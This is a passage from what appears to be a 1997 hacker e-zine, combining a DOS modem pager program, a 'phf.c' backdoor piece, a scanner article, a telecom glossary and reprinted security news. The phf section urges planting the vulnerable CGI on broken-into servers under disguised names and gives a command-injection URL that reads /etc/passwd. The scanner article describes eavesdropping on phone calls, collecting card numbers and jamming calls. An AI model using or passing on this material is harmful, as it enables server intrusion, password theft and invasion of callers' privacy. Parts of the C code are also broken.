			for(a=0;a<strlen(number);a++)           /*Pager Numer in progress*/
			send(number[a]);              /*Call Send Char*/
			for(a=0;a<strlen(pose);a++)             /*Pause in Progress*/
			send(pose[a[);                /*Call Send Char*/
			for(a=0;a<strlen(message);a++)               /*Sending Message in Progress*/
			send(message[a]);             /*Call Send Char*/
			send(13);                /*Send Return*/
			for(a=0;a<strlen(ppp);a++)              /*Escape Sequence to Command Mode in Progress*/
			send(ppp[a]);                 /*Call Send Char*/
				delay(1500);                       /*Wait 1.5 sec before sending ByeBye Command*/
			for(a=0;a<strlen(ath);a++)              /*Hanging Up Command in Progress*/
			send(ath[a]);                 /*Call Send Char*/
			delay(500);                        /*Wait 0.5sec before other paging*/
		}                             /*Go Back to the For*/
			
			
	printf("Paging finished\n");                 /*Lame Presentation*/
	}
			

	void configure()              /*Configuring modem*/
	{
	union REGS regs;              /*Preparing INT86*/
	regs.h.ah=0;                  /*For Configuring Option*/
	regs.x.dx=1;                  /*1 here cause its needed*/
	regs.h.al=0xe3;               /*0x03 for 8n1 9600bauds*/
	int86(0x14,&regs,&regs);      /*0x14 for serial using of INT86*/
	}

	void send(char x)             /*Sending a char X*/
	{
	union REGS regs;              /*Preparing INT86*/
	regs.h.ah=1;                  /*For Sending Option*/
		do                  /*Preparing a Do-while*/
		{
		regs.x.dx=1;             /*1 here cause its needed*/
		regs.h.al=x;             /*Send X please../*
		int86(0x14,&regs,&regs); /*0x14 for serial using of INT86*/
		}while(regs.h.ah!=0);         /*While sending not succeeded, continue trying*/
	}         
		

3--- Next time.

Next time, i'll can do.. or that same program but with outportb (faster) ,
or that program under some windows interfaces.. or a totally different 
program, a wardialler.. or a PBX scanner.. Decide for me dudes .

_____________________________________________________________
[ The good old phf.c ]

	   Ok, your saying, 'what not this old lame trick'. But hey, shut up and
read this for a minute. What im giving you here, is well ok, public domain,
but have any of you even bothered to go to the nsca and get a copy? probably
not. This hole is now well known, but hey, set this program up in the cgi-bin
of the site you have broken into. Compile and instant back door to the
passwords. Am i right, or am i right? Anyway, i was going thru this code the
other day, and then poof, memor was telling me, his standard procedure now is
to load this up after renaming it memor, so snooping sysadmins dont notice 
it, which is a good idea, but id call it either 'logger' or 'scan' or 
someother 'offical' sounding httpd cgi so they dont mess with it. Anyway, go 
have fun with this you little deliquents. Oh, by the way, if you've been 
messing with some Netscape server ( which doesn't come with phf ) install it, 
and share passwords with your friends, trade, collect, share, etc. ( hmmm, i 
guess that passwd files are as collectable as baseball cards )

Ok, if you've forgotten how this thing works, type in the following:

	   http://www.site.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

[ phf.c ]
#include <stdio.h>
#include <stdlib.h>

#define   LF   10
#define HTML_BREAK  printf("<P>%c", LF);
typedef struct {
    char name[128];
    char val[128];
} entry;

typedef struct {
    char qfield[256];
    int  qlen;
    char qname[256];
} fields;

void getword(char *word, char *line, char stop);
char x2c(char *what);
void unescape_url(char *url);
void plustospace(char *str);
void send_fd(FILE *f, FILE *fd);
void send_doc(int which);

static fields idxfields[] = { {"Qalias", 32, "Alias"},
					    {"Qname", 256, "Name" },
					    {"Qemail", 128, "E-mail Address"},
					    {"Qnickname", 120, "Nickname"},
					    {"Qoffice_phone", 60, "Office Phone Number"},
					    {"Qcallsign", 16, "HAM Callsign"},
					    {"Qproxy", 64, "Proxy"},
					    {"Qhigh_school", 30, "High School"},
					    {"Qslip", 256, "SLIP Address"},
					    {NULL, 0, NULL}
					  };

static fields othersearchfields[] = { {"Qcurriculum", 64, "Curriculum"},
					    {"Qphone", 64, "Phone Number" },
					    {"Qaddress", 128, "Address"},
					    {"Qoffice_address", 128, "Office Address"},
					    {"Qhome_address", 128, "Home Address"},
					    {"Qpermanent_address", 128, "Permanent Address"},
					    {"Qpermanent_phone", 60, "Permanent Phone"},
					    {"Qdepartment", 64, "Department"},
					    {"Qtitle", 64, "Title"},
					    {"Qproject", 256, "Project"},
					    {"Qother", 256, "Other"},
					    {"Qbirthday", 24, "Birthday"},
					    {"Qcolleges", 120, "Colleges Attended"},
					    {"Qleft_uiuc", 24, "Date/Month Person left UIUC"},
					    {NULL, 0, NULL},
					  };

void send_doc(int which) {
    int x;

    printf("<TITLE>Form for CSO PH query</TITLE>%c", LF);
    printf("<H1>Form for CSO PH query</H1>%c", LF);
    printf("This form will send a PH query to the specified ph server.%c", LF);
    HTML_BREAK
    printf("<HR>%c", LF);

    printf("<FORM ACTION=\"http://%s:%s%s\">%c", getenv("SERVER_NAME"),
		 getenv("SERVER_PORT"), getenv("SCRIPT_NAME"), LF);

    printf("PH Server:<INPUT TYPE=\"text\" NAME=\"Jserver\" VALUE=\"ns.uiuc.edu\" MAXLENGTH=\"256\">%c", LF);
    HTML_BREAK

    printf("<H3>At least one of these fields must be specified:</H3><UL>%c",LF);
    for(x=0; idxfields[x].qlen != 0; x++) 
	   printf("<LI><INPUT TYPE=\"text\" NAME=\"%s\" MAXLENGTH=\"%d\">%s%c"
			,idxfields[x].qfield, idxfields[x].qlen, idxfields[x].qname,LF);

    printf("</UL>%c", LF);

    if (!(which&0x10)) {
	   printf("<A HREF=\"%s?Jform=%d\"><H3>Show additional fields to narrow query</H3></A>%c", getenv("SCRIPT_NAME"), (which | 0x10), LF);
	   }
    else {
	   printf("<H3>Additional fields to narrow query:</H3><UL>%c",LF);

	   for(x=0; othersearchfields[x].qlen != 0; x++)
		  printf("<LI><INPUT TYPE=\"text\" NAME=\"%s\" MAXLENGTH=\"%d\">%s%c"
			    ,othersearchfields[x].qfield, othersearchfields[x].qlen,
			    othersearchfields[x].qname,LF);

	   printf("</UL>%c", LF);

	   printf("<A HREF=\"%s?Jform=%d\">Show fewer query fields</A>%c", getenv("SCRIPT_NAME"), (which & 0x01), LF);
	   }

    HTML_BREAK

    if (!(which & 0x01)) {
	   printf("<A HREF=\"%s?Jform=%d\"><H3>Return more than default fields</H3></A>%c", getenv("SCRIPT_NAME"), (which | 0x01), LF);
	   }
    else {
	   printf("<H3>Fields to return:</H3><UL>%c", LF);

	   for(x=0; idxfields[x].qlen != 0; x++) 
		  printf("<LI><INPUT TYPE=\"checkbox\" NAME=\"return\" VALUE=\"%s\">%s%c", &(idxfields[x].qfield[1]), idxfields[x].qname, LF);

	   for(x=0; othersearchfields[x].qlen != 0; x++)
		  printf("<LI><INPUT TYPE=\"checkbox\" NAME=\"return\" VALUE=\"%s\">%s%c", &(othersearchfields[x].qfield[1]), othersearchfields[x].qname, LF);

	   printf("</UL>%c", LF);

	   printf("<A HREF=\"%s?Jform=%d\">Return default fields</A>%c", getenv("SCRIPT_NAME"), (which & 0x10), LF);
	   }

    HTML_BREAK
    printf("<INPUT TYPE=\"submit\">%c", LF);
    printf("</FORM>%c", LF);

    printf("<HR>%c<ADDRESS>", LF);
    printf("Questions, comments to: <a href=\"http://www.ncsa.uiuc.edu/SDG/People/jbrowne/jbrowne.html\">Jim Browne</a>%c", LF);
    printf("</ADDRESS>%c", LF);
	   
}

main(int argc, char *argv[]) {
    entry entries[64];
    register int x,m=0;
    char *cl;
    char returnstr[1024], typestr[4098], commandstr[8192], serverstr[256];
    int atleastonereturn = 0, atleastonequery = 0, which = 0;
    FILE *phfp;

    printf("Content-type: text/html%c%c",LF,LF);

    strcpy(returnstr, "return ");
    strcpy(typestr, " ");

    cl = getenv("QUERY_STRING");

    if((!cl) || (!cl[0])) {
	   send_doc(0);
	   exit(1);
    }

    for(x=0;cl[0] != '\0';x++) {
	   m=x;
	   getword(entries[x].val,cl,'&');
	   plustospace(entries[x].val);
	   unescape_url(entries[x].val);
	   getword(entries[x].name,entries[x].val,'=');
    }

    for(x=0; x <= m; x++) {
/*      printf("%s = %s %c", entries[x].name, entries[x].val, LF); */

	   if (!strcmp(entries[x].name, "return")) {
		  strcat(returnstr, entries[x].val);
		  strcat(returnstr, " ");
		  atleastonereturn = 1;
		  }
	   else if ((entries[x].name[0] == 'Q') && strlen(entries[x].val)) {
		  strcat(typestr, &(entries[x].name[1]));
		  strcat(typestr, "=");
		  strcat(typestr, entries[x].val);
		  strcat(typestr, " ");
		  atleastonequery = 1;
		  }
	   else if (!strcmp(entries[x].name, "Jserver")) 
		  strcpy(serverstr, entries[x].val);
	   else if (!strcmp(entries[x].name, "Jform")) 
		  if (sscanf(entries[x].val, "%d", &which)) {
			 send_doc(which);
			 exit(1);
			 }
		  else exit(1);
	   }       

    printf("<H1>Query Results</H1>%c", LF);
    HTML_BREAK

    if (!atleastonequery) printf("<B>You did not enter a query!</B>%c",LF);
    else {
	   strcpy(commandstr, "/usr/local/bin/ph -m ");
	   if (strlen(serverstr)) {
		 strcat(commandstr, " -s ");
		 /* RM 2/22/94 oops */
		 escape_shell_cmd(serverstr);
		 strcat(commandstr, serverstr);
		 strcat(commandstr, " ");
		 }
	   escape_shell_cmd(typestr);
	   strcat(commandstr, typestr);
	   if (atleastonereturn) {
		 escape_shell_cmd(returnstr);
		 strcat(commandstr, returnstr);
	   }

	   printf("%s%c", commandstr, LF);
	   printf("<PRE>%c", LF);

	   phfp = popen(commandstr,"r");
	   send_fd(phfp, stdout);

	   printf("</PRE>%c", LF);
	   }
}

_____________________________________________________________
				
				---------------------------------------
			    --=[The history of digital technology]=--
						Written by REality
			  REF. Evolution to Digital (elseberry@usa.net)                 
				---------------------------------------
					 
In the early 1960's the Bell Systems began to introduce and use a new 
digital technology in its network. This was necessary because the older 
carrier systems were rapidly becoming obsolete, and the demand for newer 
and higher speed communications facilities was building both internally and 
among the end user communities.

As this digital technology was being introduced, it was being deployed in 
the public telephone network as a means of increasing the traffic capacity, 
within the Bell system only, on the existing wire pair cable facilities as 
interoffice trunks. The older systems which included the N-Carrier system 
used a two or four wire connection through an analog multiplexing device to 
deliver 12 or 24 analog channels depending on the version of N-Carrier used.
This was still an inefficient use of the line capacity, and the analog 
service was both noisy and required expensive line treatment equipment. 
Thus, Bell introduced its newer technology.

The analog systems were therefore coming to the end of their usable life. 
The telephone companies had to find a way of improving the utilization of 
the cable plant on an interoffice basis because they had traditionally 
under-utilized the pairs of wires and the continued installation of 
inefficient systems was expensive and bulky. The average length of these 
wires between their offices was approximately 6.5 miles. As calling 
requirements continued to grow the telephone companies needed to increase 
the traffic handling on these interoffice routes. Yet, they were in a 
quandary. First, they didn't want to continue running on major sized cables 
between offices, there simply wasn't enough space. Second, costs were 
escalating based on the reinforcement to their outside plant.

What did Bell Systems decide to do about this huge problem that they faced?
Keep reading The HAVOC Technical journal to find out. This story will be 
continued in the next edition of The HAVOC Technical Journal.
_____________________________________________________________
					  
					  -------------------------
					 --=[Scanning for losers]=--
						Written by shamr0ck
					  -------------------------

Today I'm going to tell you stuff about scanners and fun things you can do 
with them. I have found many different active frequencies but the ones that 
are the most entertaining are from cellphones (806-956MHz) and cordless 
phones (43-50MHz/902-928MHz). I've got a pro-62 scanner and it doesn't have 
the cellular frequencies on it because it's illegal to sell scanners that 
pick up cellphones in the United States, but not in Canada, if you catch my
drift. I am hoping to modify it some day, but anyway it does pick up cordless 
phones, and I've happened upon many different conversations with it. Like 
just today I heard some middle aged black guy having phone sex with a fat 
chick with a southern accent. Being the loser I am, I listened in for a while 
since I wasn't paying for it, and made sure to follow the warning message at 
the start of the call and kept both hands on the scanner at all times. I 
wasn't abusing myself or anything, I swear.  Because of this wonderful 
scanner I've picked up calling card and credit card numbers, but God knows I 
wasn't planning to use them, because I like paying for stuff. Yeah, that's 
it. One of the perks of being close to your unsuspecting scanner victim is 
that you can disconnect their cellphone call. First off get your fat ass off 
your computer, and run over to radio shack. Acquire a scanner by any means
necessary, but don't be a dumbass and pay more than $200 for it, if you pay
for it at all.  You could borrow one or something. Now you're all set. If 
you're listening to someone's cellphone call and you're within about 30 feet 
of the caller you can hang up their call. If you're asking yourself "How the 
fuck can I do that?", shut up and I'll tell you. Find their input frequency.. 
search 824-850 or whatever.  Add 45MHz to see if you hear them on the output 
along with the phone line audio. Then if you add 10.7 to that frequency 
(if you have a radio shack scanner) and punch it in it will generate a low 
power carrier on their phone. Because the phone thinks it lost the cell 
frequency it will hang up in about 3 seconds. I didn't come up with this I 
got it off a web page but who cares it's still funny as hell. Another thing 
to get if you want to know more about scanners is this book called Police 
Call. Rip it off at your local radio shack. If you want to know more just 
e-mail me at speidel@lightspeed.net or come see me on undernet #phreak.  If
I'm not there, goto #flood and bug those shitheads.
_____________________________________________________________
				  
				  ----------------------------------                     
				 --=[REality's Digital Dictionary]=--
						Written by REality 
				REF. Racal-DataCOM (elseberry@usa.net)
				  ----------------------------------

(ABAM)           
A designation for 22 gauge, 110 ohm, plastic insulated, twisted pair Western 
Electric cable normally used in central offices.

(A&B Leads)      
This shit refers to the additional leads used typically with a channel bank 
tow wire E&M interface to certain types of 'ereet' PBXs (also used to return 
talk battery to the PBX itself).

(A&B Signaling)  
Procedure used in T1 transmission facilities in which one bit, robbed from 
each of the 24 subchannels in every sisth frame, is used for carrying dial 
and control information. A type of T1 inband signaling, similar to ICMP for 
you warez kiddiez.

(Access Unit)   
Sometimes this shit is abbreviated as (AU). It is a device that provides ISDN 
access to a packet switched service or network. Otherwords, a k-rad iNET 
connection. 

(Acoustic Coupler)
WooHoo! This is a device that allows a telephone handset to be used for 
access tp the switched telephone network for data transmission (gennerally 
limited to low-speed 1200 bps).

(ACU)(Automatic Calling Unit)
A machine that dials a call automatically when under another computers 
control.

(A/D)
This is one of the easiest terms to remeber dwds. All it means is "Analog to 
Digital conversion."

(ADM3)
A Bellcore designation for the DS-3 device that has familar functionality to 
a T1 mux. Otherwords, a peice of shit..

(AIS)
In T1, an all ones condition used to alert a reciever thats its incoming 
signal or frame has been lost. The loss of signal or frame is detected at the 
recieving end, and the failed signal is replaced by all ones condition which 
the reciever interprets as an AIS! the normal response to this AIS is for the 
recieving end to generate a Yellow Alarm signal as part of its transmission 
towards the faulty end. This is sometimes called a Blue signal, and I have no 
idea why.

(Algorithm)
A defined set of operational steps to be taken to effect a desired 
calculation. An example of its use os the Data Encryption Standard (DES) 
algorithm of the National Bereau of Standards which is used in the encryption 
of transmitted data to protect its security.

(AM)(Amplitude Modulation)
A transmission technique where the amplitude of the carrier signal is varied 
by the value of the signal to be transmitted.
   
(Ameritech)
One of the seven Regional Bell Holding Companies, resulting from divesiture, 
covering the midwestern U.S., based in Chicago, and comprised of Illinois 
Bell, Indiana Bell, Michigan Bell, Ohio Bell, and Wisconsin Tel.

(Analog)
In data communcations, the description of the continous wave or signal for 
which conventional telephone lines are designed. For transmission on these 
lines, the digital or pulse output of a computer or terminal must be 
converted to an analog signal.
 
(ANI)(Automatic Number Identifacation)
Ability of the network to notify the called party of the calling party's 
number and/or directory listing.

(ATM)(Asynchronous Transfer Mode)
A high-speed, connection oriented cell relay transmission scheme that 
provides bandwidth to channels as needed. ATM used a 53-octet cell, where the 
first five octets convey header information and the remaining 48 octets are 
payload.

(Backbone Network)
A transmission facility or arrangement of such facilities designed to 
interconnect lower speed distribution channels or clusters of dispersed users 
or devices.

(Bandwidth)
A range of frequencies between two defined limits expressed in cycles per 
second or Hertz. Also, the information carrying capacity of a circuit.

(Baud)
A unit of signalling speed equivalent to the number of discrete conditions or 
signal elements per second. Multiple bits may be used to chracterize 
individual paramters within one baud(ie, 9600 bits per second as a rate of 
2400 baud = 4 bits per each baud).

(Bellcore)(Bell Communications Research)
The orginization established at AT&T divesiture, representing and funded by 
the BOCs and RBOCs, for the purpose of establishing eleet telephone network 
standards and interfaces.

(Bit Stuffing) 
A process in bit-oriented protocols where a zero is inserted into a string of 
ones by the sender to prevent the reciever from interpreting valid user data 
as control characters.

Check out THTJ11 for the second installment of REality's Digital Dictionary
_____________________________________________________________
				    
				    -------------------------------
				   --=[K-Kool hackers chat here!]=--
					   Discovered by KungFuFox
				    -------------------------------

While I was busy trashing on the internet, I came across a superhacker 
forum that I think all of you should check out, because it's so elite.  Well, 
at least read the posts, it's funny as hell.  Topics include:      

"Can't hackers do something good"
"DO any of you really know what hacking is???"
"HACKING KICKS"
"Hack Chat for hackers only!"
"Real Hacker Conversations. Do not come in unless you are a real hacker."
"my moms a hacker"

Personally, I don't know of any hacker moms, and I was certainly interested 
in finding out what REAL HACKERS talk about, so I gave it a look.  Here's a 
few clips that I found to be rather entertaining, from the "HACKING KICKS" 
topic.

-
by scott@netbridge.net,
Mon Oct 28 03:06:37 1996
Achieving access to unauthorized places is also known as "burglary". If you
were to break into an unauthorized place, such as my house, for example, you
may find yourself bleeding from bullet wounds. Or, if the place you broke in
to was a computer address, you may find yourself suffering from some other 
ailment-imprisonment. All real hackers would tell you, prison life sucks! 
This is where all real hackers end up. All others are wannabe's. 

by scott@netbridge.net,
Mon Oct 28 03:12:31 1996
PS-If you are not brave enough to leave your name or address, then you must 
be a coward. 

by Hackers Heaven,
Thu Oct 31 22:10:59 1996
What do you want my address for, do you want to come over and watch me Hack? 

by Hackers Heaven,
Thu Oct 31 22:12:30 1996
If I were to break into your house, I would see to it that you were also 
bleeding from bullet wounds 

by scott@netbridge.net,
Fri Nov 1 05:37:02 1996
I don't like to go to dork's houses, or watch them play with their toys, 
pretending to be cool. Come on over-we'll see who's bleeding , and cut down 
on 50% of these messages. Thanks for your input. Dork.

by scott@netbridge.net,
Fri Nov 1 05:43:28 1996
PS-If you were a real hacker, you'd have a lot better things to do than leave 
messages here. I don't think you're fooling anyone. Give it up, you're not a 
real hacker, so quit pretending. 
-

Now isn't that just the most elite hacker talk you've ever seen? There's more
where those came from!

http://eagle.online.discovery.com
/cgi-bin/forums_view/dir861922735/Technology/Technology%20Central/Hackers/

Discovery probably owns the rights to all that crap once it was posted, but
that doesn't really matter now, does it?

_____________________________________________________________
[news]
						  
						  --------------   
						 --=[The News]=--
				    Compiled & edited by KungFuFox
				[ More news from antifire and Scud-O ]
						  --------------

	1 : How To Hack Social Security
	2 : E-Mail Security Warning 
	3 : Internet security code said vulnerable to hackers    
	4 : Hacker Contest Fails to Crack Mac Web Server 
	5 : Columnist Who Warned of Net's Collapse Pays Up    
	6 : DNS: The Problematic Phone Book of Cyberspace
	7 : Viruses Tripled in Past Year
	8 : Trojan Vigilante Targets AOL Cheats 
	9 : Regional Phone Companies to Offer New Access Technologies for ISPs 
	10: Hacker Provokes Klan Site Shutdown
	11: RedButton Lets Anyone Be Everyone
	12: AOL4FREE Culprit Tells His Tale
	13: AGIS Keeps Mum Over Attack, FBI Inquiry
	14: HLO brings chaos to CERT conference
	15: 3rd Major NT Bug Found..................... antifire
	16: Maryland Starts 10 Digit Dialing........... Scud-O
	17: Bell Atlantic/ Nynex merger moves closer... Scud-O
	18: Inferno OS Beta Test is Released........... Scud-O
		    
	   "It's the latest in communictions technology."
	   -Ross, from the motion picture 'Congo'
_____________________________________________________________
 
 How To Hack Social Security 

 WASHINGTON, D.C.: Want to know your co-worker's salary? How about checking 
 out how much your new boyfriend is really worth? It's all available on the 
 Social Security Administration's website with just a few bits of personal 
 information: Social Security number, mother's maiden name and state of 
 birth. The site, launched just a month ago, contains complete financial data 
 on tens of millions of Americans dating back to 1951. The reason behind the 
 page is primarily financial: The agency thinks that making the information 
 available on the Web will save millions of dollars in paperwork. Last year, 
 the SSA mailed some four million financial reports to taxpayers at a cost of 
 $5.23 each. Delivering the same report over the Internet costs a fraction of 
 a penny. As usual, the bureaucrats are not very concerned that the site 
 makes collecting private Social Security information relatively easy. "We 
 have confidence that in the huge majority of cases, the people requesting 
 these things are the right people," John Sabo, SSA's director of the 
 Electronic Services Staff, told USA Today, mysteriously.  
_____________________________________________________________

 E-Mail Security Warning 
 (04/08/97; 11:01 a.m. EST)
 By Jeff Sweat, InformationWeek

 Some versions of the IMAP and POP messaging and mail protocols contain 
 security holes that can let hackers manipulate Internet applications built 
 on the protocols and gain unauthorized access to networks, according to the 
 Computer Emergency Response Team.

The CERT Coordination Center, affiliated with Carnegie Mellon University in 
Pittsburgh, has issued a security advisory about the vulnerabilities in 
certain versions of the IMAP and POP protocols. Both protocols require root 
privileges so the server can access mail protocols.

Although those privileges are typically discarded after log-on, the security 
flaws let hackers gain root access to a system through text entered in the 
log-on transaction. The hacker, who doesn't require a user account, can then 
execute commands on the system through the root privileges.

The vulnerabilities affect IMAP d, IPOP 2d and IPOP 3d. To avoid problems, 
CERT recommended that IS organizations install a patch from their application 
vendors or upgrade to IMAP 4.0, revision 1. Until then, businesses should 
disable IMAP and POP services, CERT said. 

©CMP Media, 1996.
_____________________________________________________________
 
 Internet security code said vulnerable to hackers    
 Wednesday, April 09, 1997 6:49:00 PM EDT
 By David Morgan

 ATLANTA (Reuter) - The new security protocol for safeguarding credit-card 
 transactions on the Internet may have to change because the underlying 
 cryptography is too easy to hack through and too difficult to upgrade, an 
 expert said Wednesday.

Steve Mott, senior vice president of electronic commerce and new ventures for 
MasterCard International, said it could take hackers as little as a year to 
break the industry's standard encryption code, which is supposed to render 
credit-card numbers unreadable to outsiders on the Internet's World Wide Web.

For that reason, the consortium of technology companies and creditors that 
has spent two years years developing the Secure Electronic Transaction (SET) 
protocol may switch to a faster encryption system called Elliptic Curve, 
which is produced by Certicom Corp.

The first complete version of SET, known as SET 1.0, will be available to 
software makers June 1 with core cryptography provided by RSA Data Security, 
a unit of Security Dynamics Technologies Inc.

"RSA is a very good starting point. But we suspect that in a year or two, the 
Kevin Mitnicks of the world will start to figure out ways to hack it," Mott 
said. Mitnick is one of the most notorious computer hackers.

"The only way you scale an RSA is to add a lot more bits. You add a lot more 
bits and it becomes more complex software in terms of the interaction of the 
transaction messages. That's part of what's taken SET so long to start with."

MasterCard has been helping put together merchants with its own member banks 
for SET pilot projects in Denmark, Japan, Taiwan, South Africa and the United 
States.

Mott told a news conference at the Internet Commerce Expo that the Elliptic 
Curve encryption system would make a better encryption core. In fact, he said 
it would have been chosen in the first place if developers had been known 
about it.

"It will fit on a chip card. I think its 160 bits equals security to 1,024 
bits of RSA," the credit industry executive said. "We anticipate putting it 
into some SET 1.0 pilots in the very near future this year in the U.S."

Far from being disturbed by the possibility of hackers getting through the 
current SET cryptography, Mott said SET's developers would "give them an 
award and a ribbon and then embody whatever they did as part of the 
improvements" in the next version of security standards.

"The current version for SET is as safe as anybody can make it," he said.

©Reuters Ltd.
_____________________________________________________________

 Hacker Contest Fails to Crack Mac Web Server 
 April 12, 1997
 By JOE HUTSKO 

 It was an invitation few hackers could resist, a cracker come-on backed by a 
 cash prize: Be the first to break into our Web server and alter the home 
 page, and we'll give you $15,000. But when the dust had settled, the humble 
 Apple Macintosh Web server was still intact -- a boast that industry giants 
 and more powerful computers could not match. 

Two months have passed since Infinit Information, a systems consulting firm 
based in Sweden, posed its digital dare, dubbed "Crack a Mac," offering 
100,000 Swedish kroner, or about $15,000, to anyone who could break into its 
Macintosh-powered Web server. 

In the first week alone, more than 38,000 visitors dropped by to take either 
a curious peek or an outright crack at the challenge. But by the time the 
contest closed on Thursday, the company's chief executive, Joakim Jardenberg, 
said that the cash would go uncollected because no one had managed to crack 
into the company's server. 

In all, Jardenberg said, people at more than 100,000 computers (as identified 
by uniqure IP addresses) visited the challenge site, sending more than 8 
gigabytes of data in their attempts to break in. He said that about 75 
percent of the visitors were from the United States, 20 percent were from 
Sweden, and the remaining 5 percent were from other nations, including El 
Salvador and Mauritius. 

The rules of the game were straightforward. Crackers could not physically 
attack the computer or company premises; they were required to reach the 
Infinit Information Web server through the Internet. "Breaking into our house 
would not only mean you would be disqualified from the challenge, you would 
also have to deal with our dog and the police," the company declared. 

Proof of the crack was to be substantiated by altering the company's home 
page in whatever way the cracker deemed fit -- graphically, textually, 
noisily -- so long as it was "human-readable." To collect the prize, the 
winner would be required to describe in detail how the crack was 
accomplished, as well as permit Infinit Information to publish (anonymously, 
if the winner preferred) its findings. 

Jardenberg also asked that anyone who managed to break in not violate the 
company's other servers, which it uses to run its business. 

The contestants included at least a few heavy hitters, said Jardenberg, who 
was inspired by a similar cracker contest, The Security Challenge, that ran 
in 1995. Jardenberg listed International Business Machines, Microsoft, 
Silicon Graphics Inc., AT&T, Netscape Communications, NASA, and the United 
States Army among the higher-profile organizations that tried to break into 
his company's server. 

  Citing high-profile cracker jobs like the attack on the Central 
  Intelligence Agency's home page last year, Jardenberg stated that the 
  contest's main objective was to prove the trustworthiness of the Apple 
  Macintosh as a secure Web server in comparison with Unix-based servers 
  produced by companies like Sun Microsystems and Silicon Graphics. 

There is no such thing as a definitive test of the security of one system 
versus another, but the outcome of Jardenberg's challenge clearly gives a lot 
of bragging rights to Mac proponents -- especially at a time when the Net is 
deluged with horror stories about security weaknesses in both Web servers, 
the machines that host sites, and Web browsers, the software that brings the 
Web into the user's machine. 

Infinit Information's challenge machine was a Macintosh 8500/150 running 
StarNine Technologies' WebStar server software. 

Having survived its first onslaught of attacks, Jardenberg said the company 
is giving its Mac server "a well-deserved break." But it won't be a vacation 
long. Jardenberg is promising foiled contestants another crack at the Infinit 
Information site in a few weeks. 

©The New York Times 
_____________________________________________________________

 Columnist Who Warned of Net's Collapse Pays Up    
 Saturday, April 12, 1997 7:41:00 AM EDT

  SANTA CLARA, Calif. (Reuter) - A computer pioneer and industry columnist 
  who predicted -- wrongly -- that the Internet would collapse last year 
  kept his promise and literally ate his words at a conference room packed 
  with Net experts and partisans.

"Eat, baby, eat!" the crowd chanted, whooping and clapping, when columnist 
Bob Metcalfe tried to keep his pledge by eating a piece of giant cake iced to 
look like his column in the trade publication InfoWorld. It didn't fly.

Metcalfe -- who invented Ethernet computer networking and founded networking 
company 3Com Corp. -- had promised to eat the words from his December 1995 
column predicting a "catastrophic collapse" of the Internet in 1996 if it did 
not come to pass.

Metcalfe, who made the vow at a 1995 conference in Boston, argued at the 
Sixth International World Wide Web Conference in Santa Clara, Calif., 
Thursday that there had been major outages last year. But he acknowledged the 
big collapse had not happened.

When the audience at his closing address Thursday night objected to his cake 
gambit, the 51-year-old columnist said, with mock surprise, "I kind of 
suspected it would turn ugly."

He then ripped a copy of the column from a back issue of InfoWorld, tore it 
into pieces and dropped it into a clear liquid in a blender hidden on stage. 
Metcalfe poured the resulting mix into bowl, sampled the cloudy, pulpy 
substance with a spoon then slurped it down to the crowd's cheers.

©Reuters Ltd.
_____________________________________________________________

 DNS: The Problematic Phone Book of Cyberspace
 by Simson Garfinkel 

 6:00pm 9.Apr.97.PDT -- Today the Internet's domain name system (DNS) 
 remains one of the networks' weakest links. DNS is the Internet protocol 
 that translates host names, like www.hotwired.com, into IP addresses, like 
 204.62.129.1. It's the phone book of cyberspace, but it's riddled with 
 problems. 

Others have chronicled the political problems that the domain name system's 
top-down structure has created. Most of these problems involve Network 
Solutions Inc. (aka InterNIC), which manages the .com, .mil, .edu, .gov, 
.net, and .org top-level domains. NSI has been criticized for its handling of 
trademark disputes involving domain names and allegedly monopolistic 
practices. 

What's worse, the domain name system is fundamentally insecure. By 
transmitting rogue packets to a computer, a hacker or information terrorist 
can confuse that machine, cajoling it into contacting one machine on the 
Internet when it means to reach another. Under certain conditions, a hacker 
can use DNS spoofing to break into a computer. DNS spoofing can be used to 
redirect or steal electronic mail, intercept pages sent over the World Wide 
Web, or impersonate other Web surfers. It's easy, untraceable, and becoming 
more common all the time. 

Over the past few years, a working group of the Internet Engineering Task 
Force has developed an improved DNS - called DNSSEC - that solves the 
protocol's underlying security problems. The Department of Defense's Internet 
Infrastructure Protection program funded the technical work, which was in 
turn carried out by Trusted Information Systems. That organization has made a 
working implementation of the protocol freely available for download. 

DNSSEC uses public key encryption and digital signatures to certify every 
address that's resolved by the DNS system. Each domain is assigned a public 
key. When your computer looks up a host in a particular domain, it checks the 
signature on the host's response. This eliminates spoofing; the bad guys can 
still send you a bogus response, but they can't sign it with the matching 
private key. 

Besides strengthening the domain name system, DNSSEC can function as a 
database for distributing public keys. "Currently there is no protocol 
defined for publishing and automatically obtaining a public key for a user, a 
Web site, etc. DNSSEC can be used for this," says EFF founder John Gilmore, 
who is helping with the effort. "The keys themselves can be VeriSign keys, 
DNSSEC keys, Elliptic Curve encryption keys, or whatever." 

Getting the Internet to adopt DNSSEC is a three-step process, says Donald 
Eastlake, secretary of the DNSSEC working group. First, network 
administrators and webmasters need to create public keys and secret keys for 
their Internet domains, and store those keys in their DNS servers. Second, 
they must modify their nameservers so they provide signed responses whenever 
a DNS query is made. Finally, the major server software companies must modify 
the resolves - the programs that run on the desktop and translate domain 
names into IP addresses - to verify those signatures. But no company I am 
aware of has announced plans to incorporate DNSSEC into its DNS resolves. 

Signature verification also requires use of the RSA patent, and RSA Data 
Security hasn't yet given its go-ahead. 

But what's most disturbing is that few people in the computer industry - even 
those who work with computer security - have even heard about DNSSEC. It will 
have to gain a higher profile before it will fly. 

©Packet
_____________________________________________________________

 Viruses Tripled in Past Year
 
 2:54pm 15.Apr.97.PDT -- The National Computer Security Association (NCSA) 
 says the rate of computer virus infections has tripled over the past year, 
 with the viruses passing for the most part through Microsoft Word and 
 spreadsheet attachments sent via email. 

The study, released Monday, points to the evolution of viral hacking that 
travels through tiny "macro viruses" - written in bits of code - rather than 
disks or software which contain larger executable, and therefore dangerous, 
code. 

"Most really successful viruses are very simple, very quiet and they 
hitch-hike on the most commonly spread types of files" like Word documents 
and spreadsheets, said Candace Turtle, spokeswoman for Trend Micro Inc., a 
maker of antivirus software that sponsored the survey with Microsoft, 
Quarterdeck, and Symantec, among others. 

The results of the annual survey of 300 organizations - each with more than 
500 PCs - show that the infection rate is about 33 per 1,000 computers per 
month, up from about 10 per 1,000 last year. The report shows that nearly as 
many virus incidents occurred in January 1997 as in the last six months of 
1996. 

The most common virus over the past year has been the Word.Concept virus, 
which travels on Microsoft Word documents and infected 49 percent of all 
sites in the survey. The Wazzu virus, another macro virus that embeds itself 
in Word documents, was responsible for about one-fifth of all outbreaks, 
according to the study. 

